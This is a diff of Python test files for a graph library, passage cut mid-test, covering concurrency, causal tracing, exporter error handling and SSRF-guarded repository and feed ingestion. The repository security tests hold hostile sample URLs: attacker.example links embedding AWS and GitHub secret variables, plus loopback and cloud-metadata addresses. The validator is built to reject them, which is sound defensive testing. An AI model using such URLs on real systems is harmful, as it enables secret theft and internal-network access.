+            assert not thread.is_alive(), (
+                "a worker thread was still running 5s after the stop signal -- "
+                "a hang here would otherwise leak into subsequent tests"
+            )
+
+        return errors, reads
+
+    def test_to_dict_does_not_raise_during_concurrent_writes(self):
+        graph = _seeded_graph()
+        errors, reads = self._run_race(graph, graph.to_dict)
+
+        assert not errors, f"to_dict() raised under concurrent writes: {errors[0]!r}"
+        assert reads, "the reader thread never completed a to_dict() call"
+
+    def test_to_dict_snapshot_is_internally_consistent(self):
+        """The reported statistics must describe the payload actually emitted.
+
+        ``to_dict`` builds ``nodes``/``edges`` and then reads ``len(self.nodes)``
+        and ``len(self.edges)`` for its ``statistics`` block. Unguarded, a write
+        landing between those steps yields counts that contradict the lists.
+        """
+        graph = _seeded_graph()
+        errors, reads = self._run_race(graph, graph.to_dict)
+
+        assert not errors, f"to_dict() raised under concurrent writes: {errors[0]!r}"
+        assert reads, "the reader thread never completed a to_dict() call"
+        for snapshot in reads:
+            stats = snapshot["statistics"]
+            assert stats["node_count"] == len(snapshot["nodes"]), (
+                f"statistics.node_count={stats['node_count']} contradicts the "
+                f"{len(snapshot['nodes'])} nodes in the same snapshot"
+            )
+            assert stats["edge_count"] == len(snapshot["edges"]), (
+                f"statistics.edge_count={stats['edge_count']} contradicts the "
+                f"{len(snapshot['edges'])} edges in the same snapshot"
+            )
+
+    def test_snapshot_node_ids_are_unique(self):
+        """A torn read can emit the same node twice; a locked one cannot."""
+        graph = _seeded_graph()
+        errors, reads = self._run_race(graph, graph.to_dict)
+
+        assert not errors, f"to_dict() raised under concurrent writes: {errors[0]!r}"
+        for snapshot in reads:
+            ids = [node["id"] for node in snapshot["nodes"]]
+            assert len(ids) == len(set(ids)), "to_dict() emitted duplicate node ids"

tests/context/test_decision_causal_edge_regression.py

@@ -0,0 +1,325 @@
+"""Regression tests for explicit causal edges in decision tracing (issue #975).
+
+``trace_decision_causality()`` used to infer causes purely from shared NER
+entities plus timestamps, so relationships recorded through
+``add_causal_relationship()`` had no effect on the trace. When entity
+extraction found nothing, the chain came back empty even though an explicit
+``CAUSED`` edge was stored in the graph.
+"""
+
+from semantica.context import ContextGraph
+from semantica.context.context_graph import ContextEdge
+
+
+CAUSAL_EDGE_TYPES = ("CAUSED", "INFLUENCED", "PRECEDENT_FOR")
+
+
+def _graph_with_linked_decisions(category_a="hardware", category_b="failover"):
+    """Two decisions joined by an explicit CAUSED edge."""
+    graph = ContextGraph(advanced_analytics=True)
+    cause = graph.record_decision(
+        category=category_a,
+        scenario="Server Alpha fails",
+        reasoning="PSU defect on server Alpha",
+        outcome="flagged",
+        confidence=0.9,
+    )
+    effect = graph.record_decision(
+        category=category_b,
+        scenario="Failover to server Beta",
+        reasoning="Failover triggered because of server Alpha outage",
+        outcome="approved",
+        confidence=0.9,
+    )
+    graph.add_causal_relationship(cause, effect, relationship_type="CAUSED")
+    return graph, cause, effect
+
+
+def test_trace_uses_explicit_edge_when_no_entities_extracted():
+    """The issue's reproduction: explicit edge must drive the trace on its own."""
+    graph, cause, effect = _graph_with_linked_decisions()
+
+    # Precondition: the bug is only visible when NER finds nothing to overlap on.
+    assert graph._decisions[cause]["entities"] == []
+    assert graph._decisions[effect]["entities"] == []
+
+    chains = graph.trace_decision_chain(effect)
+
+    assert chains, "explicit CAUSED edge must produce a causal chain"
+    hops = [hop for chain in chains for hop in chain["hops"]]
+    assert any(
+        hop["from"] == cause and hop["to"] == effect and hop["type"] == "CAUSED"
+        for hop in hops
+    )
+
+
+def test_trace_reports_relationship_type_of_each_explicit_edge():
+    for relationship_type in CAUSAL_EDGE_TYPES:
+        graph = ContextGraph(advanced_analytics=True)
+        cause = graph.record_decision(
+            category="a", scenario="upstream", reasoning="r",
+            outcome="approved", confidence=0.9,
+        )
+        effect = graph.record_decision(
+            category="b", scenario="downstream", reasoning="r",
+            outcome="approved", confidence=0.9,
+        )
+        graph.add_causal_relationship(cause, effect, relationship_type=relationship_type)
+
+        hops = [hop for chain in graph.trace_decision_chain(effect) for hop in chain["hops"]]
+        assert [hop["type"] for hop in hops] == [relationship_type]
+
+
+def test_trace_follows_multi_hop_explicit_chain():
+    graph = ContextGraph(advanced_analytics=True)
+    first = graph.record_decision(
+        category="a", scenario="root cause", reasoning="r",
+        outcome="flagged", confidence=0.9,
+    )
+    second = graph.record_decision(
+        category="b", scenario="mitigation", reasoning="r",
+        outcome="approved", confidence=0.9,
+    )
+    third = graph.record_decision(
+        category="c", scenario="follow-up", reasoning="r",
+        outcome="approved", confidence=0.9,
+    )
+    graph.add_causal_relationship(first, second, relationship_type="CAUSED")
+    graph.add_causal_relationship(second, third, relationship_type="CAUSED")
+
+    chains = graph.trace_decision_chain(third)
+    traced = {(hop["from"], hop["to"]) for chain in chains for hop in chain["hops"]}
+
+    assert (second, third) in traced
+    assert (first, second) in traced
+
+
+def test_trace_survives_edge_referencing_unrecorded_decision():
+    """Edges can outlive ``_decisions`` (e.g. a graph restored via from_dict).
+
+    Such an edge must be skipped rather than aborting the whole trace.
+    """
+    graph, cause, effect = _graph_with_linked_decisions()
+
+    graph.add_node("ghost", "decision", content="never recorded via record_decision")
+    graph._add_internal_edge(
+        ContextEdge(
+            source_id="ghost",
+            target_id=effect,
+            edge_type="CAUSED",
+            weight=1.0,
+            metadata={},
+        )
+    )
+
+    chains = graph.trace_decision_chain(effect)
+
+    assert not any("error" in chain for chain in chains)
+    hops = [hop for chain in chains for hop in chain["hops"]]
+    assert any(hop["from"] == cause for hop in hops), "valid chain must survive"
+    assert not any(hop["from"] == "ghost" for hop in hops)
+
+
+def test_explicitly_linked_decision_counts_as_direct_influence():
+    """Differing categories, so the category-match shortcut cannot mask the bug."""
+    graph, cause, effect = _graph_with_linked_decisions(
+        category_a="hardware", category_b="failover"
+    )
+
+    impact = graph.analyze_decision_impact(cause)
+    direct_ids = {entry["decision_id"] for entry in impact["direct_influence"]}
+    indirect_ids = {entry["decision_id"] for entry in impact["indirect_influence"]}
+
+    assert effect in direct_ids
+    assert effect not in indirect_ids
+
+
+def test_influence_is_not_double_counted_as_direct_and_indirect():
+    graph, cause, effect = _graph_with_linked_decisions(
+        category_a="shared", category_b="shared"
+    )
+
+    impact = graph.analyze_decision_impact(cause)
+    direct_ids = {entry["decision_id"] for entry in impact["direct_influence"]}
+    indirect_ids = {entry["decision_id"] for entry in impact["indirect_influence"]}
+
+    assert not direct_ids & indirect_ids
+
+
+def test_explicit_edge_weight_of_zero_is_preserved():
+    """``add_edge()`` is public and can create causal edges with any weight.
+
+    A stored 0.0 must not be coerced to the 1.0 default, which would inflate
+    ``confidence_decay`` in the causal-chain report.
+    """
+    graph = ContextGraph(advanced_analytics=True)
+    cause = graph.record_decision(
+        category="a", scenario="upstream", reasoning="r",
+        outcome="approved", confidence=0.9,
+    )
+    effect = graph.record_decision(
+        category="b", scenario="downstream", reasoning="r",
+        outcome="approved", confidence=0.9,
+    )
+    graph.add_edge(cause, effect, "CAUSED", weight=0.0)
+
+    chains = graph.trace_decision_chain(effect)
+
+    assert [hop["edge_weight"] for chain in chains for hop in chain["hops"]] == [0.0]
+    assert [chain["confidence_decay"] for chain in chains] == [0.0]
+
+
+def test_parallel_causal_edges_are_all_traced():
+    """Multiple causal edges between the same pair must not overwrite each other."""
+    graph = ContextGraph(advanced_analytics=True)
+    cause = graph.record_decision(
+        category="a", scenario="upstream", reasoning="r",
+        outcome="approved", confidence=0.9,
+    )
+    effect = graph.record_decision(
+        category="b", scenario="downstream", reasoning="r",
+        outcome="approved", confidence=0.9,
+    )
+    graph.add_edge(cause, effect, "CAUSED", weight=0.8)
+    graph.add_edge(cause, effect, "INFLUENCED", weight=0.3)
+
+    hops = [hop for chain in graph.trace_decision_chain(effect) for hop in chain["hops"]]
+
+    assert sorted(hop["type"] for hop in hops) == ["CAUSED", "INFLUENCED"]
+    assert sorted(hop["edge_weight"] for hop in hops) == [0.3, 0.8]
+
+
+def test_branching_graph_does_not_drop_alternative_chains():
+    """Diamond graph: both routes through the shared ancestor must be reported.
+
+    Cycle detection is per-path, so visiting ``S`` via one branch must not
+    prevent reaching it again through the other.
+    """
+    graph = ContextGraph(advanced_analytics=True)
+    ids = {
+        name: graph.record_decision(
+            category="ops", scenario=name, reasoning="r",
+            outcome="approved", confidence=0.9,
+        )
+        for name in ("R", "S", "A", "B", "D")
+    }
+    names = {decision_id: name for name, decision_id in ids.items()}
+    for source, target in [("R", "S"), ("S", "A"), ("S", "B"), ("A", "D"), ("B", "D")]:
+        graph.add_causal_relationship(ids[source], ids[target], relationship_type="CAUSED")
+
+    chains = graph.trace_decision_chain(ids["D"], max_steps=10)
+    paths = {
+        " -> ".join(
+            [names[hop["from"]] for hop in chain["hops"]]
+            + [names[chain["hops"][-1]["to"]]]
+        )
+        for chain in chains
+    }
+
+    assert "R -> S -> A -> D" in paths
+    assert "R -> S -> B -> D" in paths
+
+
+def test_cyclic_causal_edges_terminate():
+    """A causal cycle must not recurse forever once cycle detection is per-path."""
+    graph = ContextGraph(advanced_analytics=True)
+    first = graph.record_decision(
+        category="a", scenario="A", reasoning="r", outcome="approved", confidence=0.9,
+    )
+    second = graph.record_decision(
+        category="b", scenario="B", reasoning="r", outcome="approved", confidence=0.9,
+    )
+    third = graph.record_decision(
+        category="c", scenario="C", reasoning="r", outcome="approved", confidence=0.9,
+    )
+    graph.add_causal_relationship(first, second, relationship_type="CAUSED")
+    graph.add_causal_relationship(second, third, relationship_type="CAUSED")
+    graph.add_causal_relationship(third, first, relationship_type="CAUSED")
+
+    chains = graph.trace_decision_chain(first, max_steps=5)
+
+    assert chains
+    assert not any("error" in chain for chain in chains)
+
+
+def _dense_causal_graph(levels, width):
+    """Layered DAG where every decision in a layer causes every one in the next."""
+    graph = ContextGraph(advanced_analytics=True)
+    layers = []
+    for level in range(levels):
+        layers.append([
+            graph.record_decision(
+                category="ops", scenario=f"L{level}n{index}", reasoning="r",
+                outcome="approved", confidence=0.9,
+            )
+            for index in range(width)
+        ])
+    for level in range(levels - 1):
+        for source in layers[level]:
+            for target in layers[level + 1]:
+                graph.add_causal_relationship(source, target, relationship_type="CAUSED")
+    return graph, layers[-1][0]
+
+
+def test_dense_graph_is_bounded_and_reports_truncation():
+    """Per-path traversal is combinatorial, so the result must stay bounded.
+
+    Truncation is reported rather than silently dropping chains, which is the
+    very failure this module exists to prevent.
+    """
+    graph, sink = _dense_causal_graph(levels=9, width=5)
+
+    chains = graph.trace_decision_chain(sink, max_steps=9, max_chains=500)
+
+    markers = [chain for chain in chains if chain.get("truncated")]
+    assert len(markers) == 1, "truncation must be reported exactly once"
+    assert markers[0]["max_chains"] == 500
+    assert len(chains) == 501, "500 chains plus the marker"
+
+
+def test_small_graph_reports_no_truncation():
+    """The cap must not alter results for graphs that fit within it."""
+    graph, sink = _dense_causal_graph(levels=5, width=2)
+
+    chains = graph.trace_decision_chain(sink)
+
+    assert chains
+    assert not any(chain.get("truncated") for chain in chains)
+
+
+def test_max_chains_none_disables_the_cap():
+    graph, sink = _dense_causal_graph(levels=5, width=5)
+
+    capped = graph.trace_decision_chain(sink, max_chains=100)
+    uncapped = graph.trace_decision_chain(sink, max_chains=None)
+
+    assert len(capped) == 101
+    assert not any(chain.get("truncated") for chain in uncapped)
+    assert len(uncapped) > len(capped)
+
+
+def test_entity_based_inference_still_applies_without_explicit_edges():
+    """The entity heuristic remains as a fallback; it must not be regressed."""
+    graph = ContextGraph(advanced_analytics=True)
+    earlier = graph.record_decision(
+        category="ops", scenario="first", reasoning="r",
+        outcome="approved", confidence=0.9,
+    )
+    later = graph.record_decision(
+        category="ops", scenario="second", reasoning="r",
+        outcome="approved", confidence=0.9,
+    )
+
+    # Simulate NER having produced a shared entity between the two decisions.
+    shared_entity = "server_alpha"
+    for decision_id in (earlier, later):
+        graph._decisions[decision_id]["entities"] = [shared_entity]
+    graph._entity_index.setdefault(shared_entity, set()).update({earlier, later})
+    graph._decisions[earlier]["timestamp"] = graph._decisions[later]["timestamp"] - 60
+
+    hops = [hop for chain in graph.trace_decision_chain(later) for hop in chain["hops"]]
+
+    assert any(
+        hop["from"] == earlier and hop["to"] == later and hop["type"] == "influences"
+        for hop in hops
+    )

tests/export/test_distance_exporter.py

@@ -0,0 +1,117 @@
+"""Tests for DistanceExporter's silent-exception handling (issue #874).
+
+Each of the four private metric helpers (_betweenness, _hop_distance,
+_weighted_distance, _semantic_similarity) wraps its computation in a bare
+except Exception and returns None/{} with no signal, so a raised exception is
+indistinguishable in the exported data from a legitimate "no path" result.
+"""
+
+import logging
+
+import pytest
+
+from semantica.export.distance_exporter import DistanceExporter
+
+
+class _Node:
+    def __init__(self, node_id):
+        self.node_id = node_id
+        self.node_type = "t"
+        self.content = ""
+        self.properties = {}
+
+
+class _Graph:
+    def __init__(self):
+        self.nodes = {"a": _Node("a"), "b": _Node("b")}
+        self.edges = []
+
+
+class _RaisingPathFinder:
+    def bfs_shortest_path(self, graph_dict, src, tgt):
+        raise RuntimeError("bfs boom")
+
+    def dijkstra_shortest_path(self, graph_dict, src, tgt):
+        raise RuntimeError("dijkstra boom")
+
+
+class _RaisingSimilarity:
+    def cosine_similarity(self, graph_dict, src, tgt):
+        raise RuntimeError("cosine boom")
+
+
+class _RaisingCentrality:
+    def calculate_betweenness_centrality(self, graph_dict):
+        raise RuntimeError("betweenness boom")
+
+
+@pytest.fixture
+def exporter():
+    exp = DistanceExporter(_Graph())
+    exp._path_finder = _RaisingPathFinder()
+    exp._similarity = _RaisingSimilarity()
+    exp._centrality = _RaisingCentrality()
+    return exp
+
+
+def test_hop_distance_logs_warning_on_exception(exporter, caplog):
+    with caplog.at_level(logging.WARNING, logger="semantica.export.distance_exporter"):
+        result = exporter._hop_distance({}, "a", "b")
+    value, error = result
+    assert value is None
+    assert error == "hop_count"
+    assert any("Hop distance" in rec.message for rec in caplog.records)
+
+
+def test_weighted_distance_logs_warning_on_exception(exporter, caplog):
+    with caplog.at_level(logging.WARNING, logger="semantica.export.distance_exporter"):
+        result = exporter._weighted_distance({}, "a", "b")
+    value, error = result
+    assert value is None
+    assert error == "weighted_distance"
+    assert any("Weighted distance" in rec.message for rec in caplog.records)
+
+
+def test_semantic_similarity_logs_warning_on_exception(exporter, caplog):
+    with caplog.at_level(logging.WARNING, logger="semantica.export.distance_exporter"):
+        result = exporter._semantic_similarity({}, "a", "b")
+    value, error = result
+    assert value is None
+    assert error == "semantic_similarity"
+    assert any("Semantic similarity" in rec.message for rec in caplog.records)
+
+
+def test_betweenness_logs_warning_on_exception(exporter, caplog):
+    with caplog.at_level(logging.WARNING, logger="semantica.export.distance_exporter"):
+        result = exporter._betweenness({})
+    value, error = result
+    assert value == {}
+    assert error == "betweenness"
+    assert any("Betweenness" in rec.message for rec in caplog.records)
+
+
+def test_compute_pairs_still_produces_none_sentinels_when_metrics_raise(exporter, caplog):
+    """The exported row shape is unchanged: a raised exception still yields
+    None/"distant", it is just no longer silent."""
+    with caplog.at_level(logging.WARNING, logger="semantica.export.distance_exporter"):
+        rows = exporter.compute_pairs()
+    assert len(rows) == 2
+    for row in rows:
+        assert row["hop_count"] is None
+        assert row["weighted_distance"] is None
+        assert row["semantic_similarity"] is None
+        assert row["distance_band"] == "distant"
+    assert len(caplog.records) >= 4
+
+
+def test_hop_distance_no_warning_when_kg_unavailable(caplog):
+    """A legitimate 'no KG backend' None (the pre-existing early-return path)
+    must not be confused with an exception; nothing to log there."""
+    exp = DistanceExporter(_Graph())
+    exp._path_finder = None
+    with caplog.at_level(logging.WARNING, logger="semantica.export.distance_exporter"):
+        result = exp._hop_distance({}, "a", "b")
+    value, error = result
+    assert value is None
+    assert error is None
+    assert len(caplog.records) == 0

tests/export/test_distance_exporter_metric_errors.py

@@ -0,0 +1,132 @@
+"""Tests for DistanceExporter metric_errors column.
+
+Verifies that when ``include=["metric_errors"]`` is passed to
+``compute_pairs()``, the exported rows contain a ``metric_errors`` field
+that distinguishes computation failures from legitimate None results.
+"""
+
+import logging
+from unittest.mock import MagicMock
+
+import pytest
+
+from semantica.export.distance_exporter import DistanceExporter
+
+
+@pytest.fixture
+def mock_graph():
+    """Minimal graph mock with two nodes."""
+    graph = MagicMock()
+    node_a = MagicMock(node_id="a", node_type="entity", content="A", properties={})
+    node_b = MagicMock(node_id="b", node_type="entity", content="B", properties={})
+    graph.nodes = {"a": node_a, "b": node_b}
+    graph.edges = []
+    return graph
+
+
+@pytest.fixture
+def exporter(mock_graph):
+    """DistanceExporter with mocked KG components."""
+    exp = DistanceExporter(mock_graph)
+    exp._path_finder = MagicMock()
+    exp._similarity = MagicMock()
+    exp._centrality = MagicMock()
+    return exp
+
+
+class TestMetricErrorsColumn:
+    """Tests for the opt-in metric_errors export column."""
+
+    def test_metric_errors_empty_on_success(self, exporter):
+        """When all metrics succeed, metric_errors is an empty string."""
+        exporter._path_finder.bfs_shortest_path.return_value = {"path": ["a", "x", "b"]}
+        exporter._path_finder.dijkstra_shortest_path.return_value = {"total_weight": 2.5, "path": ["a", "b"]}
+        exporter._similarity.cosine_similarity.return_value = 0.87
+
+        rows = exporter.compute_pairs(include=["hop_count", "weighted_distance", "semantic_similarity", "metric_errors"])
+
+        assert len(rows) == 2  # a->b and b->a
+        for row in rows:
+            assert "metric_errors" in row
+            assert row["metric_errors"] == ""
+
+    def test_metric_errors_records_single_failure(self, exporter):
+        """When one metric fails, its name appears in metric_errors."""
+        exporter._path_finder.bfs_shortest_path.return_value = {"path": ["a", "b"]}
+        exporter._path_finder.dijkstra_shortest_path.side_effect = RuntimeError("negative cycle")
+        exporter._similarity.cosine_similarity.return_value = 0.5
+
+        rows = exporter.compute_pairs(include=["hop_count", "weighted_distance", "semantic_similarity", "metric_errors"])
+
+        for row in rows:
+            assert row["metric_errors"] == "weighted_distance"
+            assert row["hop_count"] == 1  # still computed
+            assert row["weighted_distance"] is None  # failed
+            assert row["semantic_similarity"] == 0.5  # still computed
+
+    def test_metric_errors_records_multiple_failures(self, exporter):
+        """When multiple metrics fail, all names appear comma-separated."""
+        exporter._path_finder.bfs_shortest_path.side_effect = RuntimeError("fail")
+        exporter._path_finder.dijkstra_shortest_path.side_effect = RuntimeError("fail")
+        exporter._similarity.cosine_similarity.side_effect = TypeError("fail")
+        exporter._centrality.calculate_betweenness_centrality.side_effect = RuntimeError("fail")
+
+        rows = exporter.compute_pairs(include=[
+            "hop_count", "weighted_distance", "semantic_similarity",
+            "source_betweenness", "metric_errors",
+        ])
+
+        for row in rows:
+            errors = row["metric_errors"].split(",")
+            assert "hop_count" in errors
+            assert "weighted_distance" in errors
+            assert "semantic_similarity" in errors
+            assert "betweenness" in errors
+            assert row["hop_count"] is None
+            assert row["weighted_distance"] is None
+            assert row["semantic_similarity"] is None
+
+    def test_metric_errors_absent_when_not_requested(self, exporter):
+        """When metric_errors is not in include, it doesn't appear in rows."""
+        exporter._path_finder.bfs_shortest_path.side_effect = RuntimeError("fail")
+        exporter._path_finder.dijkstra_shortest_path.return_value = {"total_weight": 1.0, "path": ["a", "b"]}
+        exporter._similarity.cosine_similarity.return_value = 0.9
+
+        rows = exporter.compute_pairs(include=["hop_count", "weighted_distance", "semantic_similarity"])
+
+        for row in rows:
+            assert "metric_errors" not in row
+
+    def test_metric_errors_distinguishes_no_path_from_error(self, exporter):
+        """Core distinction: None from 'no path' has empty error; None from exception has the metric name."""
+        # bfs returns empty path (legitimate "no path") — NOT an error
+        exporter._path_finder.bfs_shortest_path.return_value = {"path": []}
+        # dijkstra raises (computation error)
+        exporter._path_finder.dijkstra_shortest_path.side_effect = ValueError("bad weight")
+        exporter._similarity.cosine_similarity.return_value = 0.3
+
+        rows = exporter.compute_pairs(include=["hop_count", "weighted_distance", "semantic_similarity", "metric_errors"])
+
+        for row in rows:
+            # Both are None, but only weighted_distance is an error
+            assert row["hop_count"] is None
+            assert row["weighted_distance"] is None
+            assert row["metric_errors"] == "weighted_distance"
+
+    def test_default_columns_unchanged_without_metric_errors(self, exporter):
+        """Default column set (no metric_errors) produces the same schema as before."""
+        exporter._path_finder.bfs_shortest_path.return_value = {"path": ["a", "b"]}
+        exporter._path_finder.dijkstra_shortest_path.return_value = {"total_weight": 1.0, "path": ["a", "b"]}
+        exporter._similarity.cosine_similarity.return_value = 0.5
+        exporter._centrality.calculate_betweenness_centrality.return_value = {"betweenness": {"a": 0.5, "b": 0.3}}
+
+        rows = exporter.compute_pairs()
+
+        assert len(rows) == 2
+        expected_keys = {
+            "source_id", "source_type", "target_id", "target_type",
+            "hop_count", "weighted_distance", "semantic_similarity",
+            "distance_band", "source_betweenness", "target_betweenness",
+        }
+        assert set(rows[0].keys()) == expected_keys
+        assert "metric_errors" not in rows[0]

tests/ingest/test_feed_ingestor.py

@@ -85,11 +85,15 @@ def test_ingest_feed_errors() -> None:
         ingestor.ingest_feed("not_a_url")
 
     with patch(
-        "requests.get",
-        side_effect=requests.exceptions.RequestException("Fail"),
+        "semantica.ingest.ssrf.socket.getaddrinfo",
+        return_value=[(2, 1, 6, "", ("93.184.216.34", 0))],
     ):
-        with pytest.raises(ProcessingError):
-            ingestor.ingest_feed("http://valid.com")
+        with patch(
+            "requests.request",
+            side_effect=requests.exceptions.RequestException("Fail"),
+        ):
+            with pytest.raises(ProcessingError):
+                ingestor.ingest_feed("http://valid.com")
 
 
 def test_monitor_loop_lifecycle() -> None:
@@ -204,8 +208,22 @@ def test_discover_feeds_empty() -> None:
     ingestor = FeedIngestor()
     html = "<html><body>No feeds here</body></html>"
 
-    with patch("requests.get", return_value=MagicMock(text=html)):
-        feeds = ingestor.discover_feeds("http://site.com")
+    mock_response = MagicMock()
+    mock_response.text = html
+    mock_response.status_code = 200
+    mock_response.headers = {}
+
+    def fake_request(method, url, **kwargs):
+        if url == "http://site.com":
+            return mock_response
+        raise requests.exceptions.RequestException("not found")
+
+    with patch(
+        "semantica.ingest.ssrf.socket.getaddrinfo",
+        return_value=[(2, 1, 6, "", ("93.184.216.34", 0))],
+    ):
+        with patch("requests.request", side_effect=fake_request):
+            feeds = ingestor.discover_feeds("http://site.com")
 
     assert len(feeds) == 0
 
@@ -227,15 +245,16 @@ def test_discover_feeds_found() -> None:
     mock_response = MagicMock()
     mock_response.text = html
     mock_response.status_code = 200
+    mock_response.headers = {"Content-Type": "application/rss+xml"}
 
-    with patch("requests.get", return_value=mock_response):
-        with patch("requests.head") as mock_head:
-            # Mock HEAD request headers for the verification step
-            mock_head.return_value.headers = {
-                "Content-Type": "application/rss+xml",
-            }
-            mock_head.return_value.status_code = 200
+    def fake_request(method, url, **kwargs):
+        return mock_response
 
+    with patch(
+        "semantica.ingest.ssrf.socket.getaddrinfo",
+        return_value=[(2, 1, 6, "", ("93.184.216.34", 0))],
+    ):
+        with patch("requests.request", side_effect=fake_request):
             feeds = ingestor.discover_feeds("http://site.com")
 
     assert "http://site.com/rss.xml" in feeds

tests/ingest/test_repo_ingestor_security.py

@@ -0,0 +1,555 @@
+"""Security-focused tests for RepoIngestor (issue #868)."""
+
+import socket
+import threading
+from unittest.mock import MagicMock, patch
+
+import pytest
+
+from semantica.ingest import repo_ingestor as repo_ingestor_mod
+from semantica.ingest.repo_ingestor import (
+    ALLOWED_CLONE_OPTIONS,
+    RepoIngestor,
+)
+from semantica.utils.exceptions import ValidationError
+
+
+def _fake_addrinfo(*addrs: str):
+    """Build a getaddrinfo-shaped result list for the given IP strings."""
+    results = []
+    for addr in addrs:
+        family = socket.AF_INET6 if ":" in addr else socket.AF_INET
+        results.append(
+            (family, socket.SOCK_STREAM, 0, "", (addr, 0))
+        )
+    return results
+
+
+@pytest.fixture(autouse=True)
+def _clear_repo_host_resolve_cache():
+    repo_ingestor_mod._REPO_HOST_RESOLVE_CACHE.clear()
+    yield
+    repo_ingestor_mod._REPO_HOST_RESOLVE_CACHE.clear()
+
+
+class TestRepoUrlValidation:
+    def test_accepts_https_github_url(self):
+        with patch(
+            "semantica.ingest.repo_ingestor.socket.getaddrinfo",
+            return_value=_fake_addrinfo("140.82.112.3"),
+        ):
+            RepoIngestor._validate_repo_url("https://github.com/user/repo.git")
+
+    def test_accepts_ssh_scheme(self):
+        with patch(
+            "semantica.ingest.repo_ingestor.socket.getaddrinfo",
+            return_value=_fake_addrinfo("140.82.112.3"),
+        ):
+            RepoIngestor._validate_repo_url("ssh://git@github.com/user/repo.git")
+
+    def test_accepts_scp_like_ssh_remote(self):
+        with patch(
+            "semantica.ingest.repo_ingestor.socket.getaddrinfo",
+            return_value=_fake_addrinfo("140.82.112.3"),
+        ):
+            RepoIngestor._validate_repo_url("git@github.com:user/repo.git")
+            RepoIngestor._validate_repo_url(
+                "deploy@gitlab.example.com:team/app.git"
+            )
+
+    def test_normalizes_scp_like_to_ssh_url(self):
+        assert (
+            RepoIngestor._normalize_repo_url("git@github.com:user/repo.git")
+            == "ssh://git@github.com/user/repo.git"
+        )
+        assert (
+            RepoIngestor._normalize_repo_url(
+                "https://github.com/user/repo.git"
+            )
+            == "https://github.com/user/repo.git"
+        )
+
+    def test_rejects_empty(self):
+        with pytest.raises(ValidationError, match="non-empty"):
+            RepoIngestor._validate_repo_url("")
+
+    def test_rejects_file_scheme(self):
+        with pytest.raises(ValidationError, match="Unsupported repository URL scheme"):
+            RepoIngestor._validate_repo_url("file:///tmp/repo.git")
+
+    def test_rejects_env_var_tokens(self):
+        with pytest.raises(ValidationError, match="environment variable"):
+            RepoIngestor._validate_repo_url(
+                "https://attacker.example/${AWS_SECRET_ACCESS_KEY}/repo.git"
+            )
+        with pytest.raises(ValidationError, match="environment variable"):
+            RepoIngestor._validate_repo_url(
+                "https://$GITHUB_TOKEN@attacker.example/repo.git"
+            )
+        with pytest.raises(ValidationError, match="environment variable"):
+            RepoIngestor._validate_repo_url(
+                "git@github.com:org/${AWS_SECRET_ACCESS_KEY}.git"
+            )
+
+    def test_accepts_literal_dollar_without_env_var_token(self):
+        with patch(
+            "semantica.ingest.repo_ingestor.socket.getaddrinfo",
+            return_value=_fake_addrinfo("140.82.112.3"),
+        ):
+            RepoIngestor._validate_repo_url("https://example.com/repo$1.git")
+            RepoIngestor._validate_repo_url("git@example.com:team/repo$1.git")
+
+    def test_rejects_localhost_and_loopback(self):
+        with pytest.raises(ValidationError, match="not allowed|blocked"):
+            RepoIngestor._validate_repo_url("https://localhost/repo.git")
+        with pytest.raises(ValidationError, match="blocked"):
+            RepoIngestor._validate_repo_url("https://127.0.0.1/repo.git")
+        with pytest.raises(ValidationError, match="not allowed|blocked"):
+            RepoIngestor._validate_repo_url("git@localhost:repo.git")
+        with pytest.raises(ValidationError, match="blocked"):
+            RepoIngestor._validate_repo_url("git@127.0.0.1:repo.git")
+
+    def test_rejects_private_and_metadata_ips(self):
+        for url in (
+            "https://10.0.0.1/repo.git",
+            "https://192.168.1.1/repo.git",
+            "https://172.16.5.5/repo.git",
+            "http://169.254.169.254/latest/meta-data/",
+            "git@10.0.0.1:repo.git",
+            "git@169.254.169.254:repo.git",
+        ):
+            with pytest.raises(ValidationError, match="blocked"):
+                RepoIngestor._validate_repo_url(url)
+
+    def test_rejects_hostname_resolving_to_private_ip(self):
+        with patch(
+            "semantica.ingest.repo_ingestor.socket.getaddrinfo",
+            return_value=_fake_addrinfo("10.0.0.5"),
+        ):
+            with pytest.raises(ValidationError, match="blocked"):
+                RepoIngestor._validate_repo_url(
+                    "https://internal.example/repo.git"
+                )
+
+    def test_rejects_hostname_if_any_resolved_ip_is_blocked(self):
+        with patch(
+            "semantica.ingest.repo_ingestor.socket.getaddrinfo",
+            return_value=_fake_addrinfo("8.8.8.8", "127.0.0.1"),
+        ):
+            with pytest.raises(ValidationError, match="blocked"):
+                RepoIngestor._validate_repo_url(
+                    "https://mixed.example/repo.git"
+                )
+
+    def test_rejects_unresolvable_hostname(self):
+        with patch(
+            "semantica.ingest.repo_ingestor.socket.getaddrinfo",
+            side_effect=socket.gaierror(8, "Name or service not known"),
+        ):
+            with pytest.raises(ValidationError, match="Cannot resolve"):
+                RepoIngestor._validate_repo_url(
+                    "https://does-not-resolve.invalid/repo.git"
+                )
+
+    def test_hostname_resolution_is_cached(self):
+        with patch(
+            "semantica.ingest.repo_ingestor.socket.getaddrinfo",
+            return_value=_fake_addrinfo("1.2.3.4"),
+        ) as mock_gai:
+            RepoIngestor._validate_repo_url("https://cached.example/repo.git")
+            RepoIngestor._validate_repo_url("https://cached.example/other.git")
+            assert mock_gai.call_count == 1
+
+    def test_rejects_malformed_netloc_as_validation_error(self):
+        with pytest.raises(ValidationError, match="Invalid repository URL"):
+            RepoIngestor._validate_repo_url("http://[::1")
+        with pytest.raises(ValidationError, match="Invalid repository URL"):
+            RepoIngestor._validate_repo_url("http://[")
+        with pytest.raises(ValidationError, match="Invalid repository URL"):
+            RepoIngestor._validate_repo_url("https://user@[::1/repo.git")
+
+    def test_malformed_url_surfaces_as_validation_error_from_ingest(self):
+        with patch("semantica.ingest.repo_ingestor.git.Repo") as MockRepo, patch(
+            "semantica.ingest.repo_ingestor.get_progress_tracker"
+        ) as mock_get_tracker:
+            mock_get_tracker.return_value = MagicMock()
+            ingestor = RepoIngestor()
+            with pytest.raises(ValidationError, match="Invalid repository URL"):
+                ingestor.ingest_repository("http://[::1")
+            MockRepo.clone_from.assert_not_called()
+
+
+class TestCloneOptionAllowlist:
+    def test_allows_safe_options(self):
+        filtered = RepoIngestor._filter_clone_options(
+            {"depth": 1, "branch": "main", "single_branch": True, "no_tags": True}
+        )
+        assert filtered == {
+            "depth": 1,
+            "branch": "main",
+            "single_branch": True,
+            "no_tags": True,
+        }
+
+    def test_strips_processing_options_without_error(self):
+        filtered = RepoIngestor._filter_clone_options(
+            {
+                "depth": 1,
+                "include_history": True,
+                "include_extensions": ["py"],
+                "file_filters": {},
